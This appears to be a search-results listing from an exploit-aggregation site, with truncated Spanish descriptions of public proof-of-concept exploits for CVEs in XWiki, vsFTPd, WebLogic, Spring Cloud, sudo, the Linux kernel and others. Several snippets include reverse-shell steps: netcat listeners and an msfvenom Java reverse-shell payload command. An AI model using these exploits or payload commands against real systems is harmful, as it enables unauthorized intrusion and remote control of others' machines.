34935 matches found
xwiki_solrsearch-rce-exploit
solrsearch-rce-exploit PoC de RCE no autenticada para XWiki SolrSearch CVE-2025-24893. Ejecución de comandos + shell inversa. CVE-2025-24893 – XWiki SolrSearch RCE PoC Prueba de concepto para la inyección de plantillas SolrSearch de XWiki que permite la ejecución remota de código sin autenticació...
vsFTP-2.3.4-Remote-Root-Shell-Exploit
vsFTP 2.3.4 Exploit de Shell Root Remota Un programa simple en Python que obtiene una Shell Root Remota en el Dispositivo Objetivo explotando una Vulnerabilidad CVE-2011-2523 presente en vsFTP 2.3.4 Requisitos Lenguaje usado = Python3 Módulos/Paquetes usados: socket os pexpect paramiko getpass...
CVE-2024-28397-Reverse-Shell
CVE-2024-28397-Reverse-Shell Reverse shell para CVE-2024-28397. El exploit funciona para js2py = v0.74 Requisitos Librería requests pip install requests Python3 Netcat O algo que puedas usar como listener para la reverse shell Uso Para el listener root@kitploit: nc -lnvp 4444 Para el exploit...
CVE-2019-0708-POC
CVE-2019-0708-POC Prueba de concepto funcional para CVE-2019-0708, genera una shell remota. Ejecutar con python3, Ejemplo python3 CVE-2019-0708-windows.py Se requieren diferentes versiones para Linux y Windows. Ofuscado por razones obvias...
LFI-Destruction
🔥 LFI-Destruction – Framework de Pruebas de Penetración Autorizadas LFI-Destroyer es un framework completo y modular de explotación de Inclusión Local de Archivos LFI diseñado para profesionales de seguridad autorizados. Combina múltiples técnicas de ataque en una sola herramienta fácil de usar:...
CVE-2023-26360-RCE
CVE-2023-26360 - Ejecución Remota de Código en ColdFusion 2021 A veces, los scripts no funcionan en el primer intento. Inténtalo varias veces para que funcione. Cómo ejecutar Crear un payload con msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java...
CVE-2025-32463_POC
CVE-2025-32463 – PoC de sudo chroot «chwoot» Este repositorio proporciona un entorno mínimo y reproducible para demostrar el fallo de escalada de privilegios CVE‑2025‑32463 en la función chroot de sudo. Contenido Archivo| Propósito ---|--- Dockerfile| Crea una imagen de Ubuntu 24.04 con sudo...
CVE-2025-14700-poc
PoC de CVE-2025-14700 Exploit automático para RCE autenticado en Crafty Controller --login --password --lhost --lport Este script utiliza netcat para configurar un listener después de activar la carga útil de reverse shell, no funcionará si no tienes netcat en tu máquina listener...
React2Shell-CVE-2025-55182-PoC-Reverse-Shell
🚀 React2Shell - CVE-2025–55182 Script de explotación 🔥 Introducción Este repositorio contiene un script de explotación para la vulnerabilidad React2Shell CVE-2025–55182, que ataca un tipo específico de Node.js Prototype Pollution que conduce a la ejecución remota de código RCE. El script está...
CVE-2024-5084-Red-Team
🚀 HashForm Exploit – Demo de Laboratorio Este repositorio contiene un exploit de prueba de concepto para CVE-2024-5084, una vulnerabilidad encontrada en el plugin Hash Form de WordPress. Está destinado únicamente para aprendizaje, pruebas en laboratorio e investigación de seguridad. 📌 Acerca de l...
CVE-2023-30258-magnus-billing-v7-exploit
Exploit del Sistema Magnus Billing v7 Este script de Python automatiza la explotación de una vulnerabilidad de inyección de comandos en Magnus Billing System v7, específicamente en el script icepay.php ubicado en /mbilling/lib/icepay/icepay.php. El exploit aprovecha el parámetro democ para ejecut...
Dirtypipe-exploit
Dirtypipe-exploit Dirty Pipe CVE-2022-0847 PoC que secuestra un binario SUID para generar. un shell root. y también intenta restaurar el binario dañado...
cve-2016-0728-testbed
Banco de pruebas CVE-2016-0728 Este repositorio contiene un programa de prueba para CVE-2016-0728, un fallo de fuga de contador de referencias refcount leak y desbordamiento en Linux que conduce a un use-after-free. El fallo fue encontrado y explicado por Perception Point. No estoy afiliado a...
CVE-2023-4220-Proof-of-concept
CVE-2023-4220-Prueba-de-concepto Chamilo LMS: Carga de archivos grandes no autenticada que permite ejecución remota de código EL CÓDIGO ESTÁ HECHO Y USADO PARA HACKTHEBOX CTF PERMX Carga de archivo no autenticada en la funcionalidad de carga de archivos grandes en...
CVE-2023-38035-MobileIron-RCE
MobileIron CVE-2023-38035 Exploit README.md Descripción Este script bash automatiza el proceso de escaneo de sistemas MobileIron vulnerables susceptibles al exploit CVE-2023-38035. El script realiza múltiples comprobaciones, incluyendo verificar los programas necesarios, descargar posibles...
CVE-2019-2729_creal
CVE-2019-2729 - creal Prueba de concepto para explotar CVE-2019-2729 en WebLogic Uso del Exploit root@kitploit: python3 creal.py -h usage: creal.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CM...
CVE-2018-10933_ssh
CVE-2018-10933 para probar este código: obtén la versión vulnerable de libssh desde la página principal: https://www.libssh.org/files/0.7/libssh-0.7.4.tar.xz descomprime y compila, luego ve al directorio example, hay un servidor sshd simple usando libssh llamado: samplesshd-cb ejecuta este simple...
Strapi-RCE
Strapi-RCE Script de explotación que muestra una combinación de CVE-2019-18818 y CVE-2019-19609 para la ejecución remota de código no autenticada en Strapi CMS. Exploit Este script explota una vulnerabilidad en Strapi CMS versiones 3.0.0-beta.17.4 y anteriores, permitiendo la ejecución remota de...
RCE-in-Spring-Cloud-CVE-2022-22963
Exploit para RCE en Spring Cloud CVE 2022-22963 Exploit para la ejecución remota de comandos CVE-2022-22963 en Spring Cloud Function Consulta los detalles sobre la vulnerabilidad aquí y aquí PoC Ejecuta netcat en tu host: root@kitploit: $ nc -lvnp 9001 Ejecuta el exploit ejemplo con el puerto...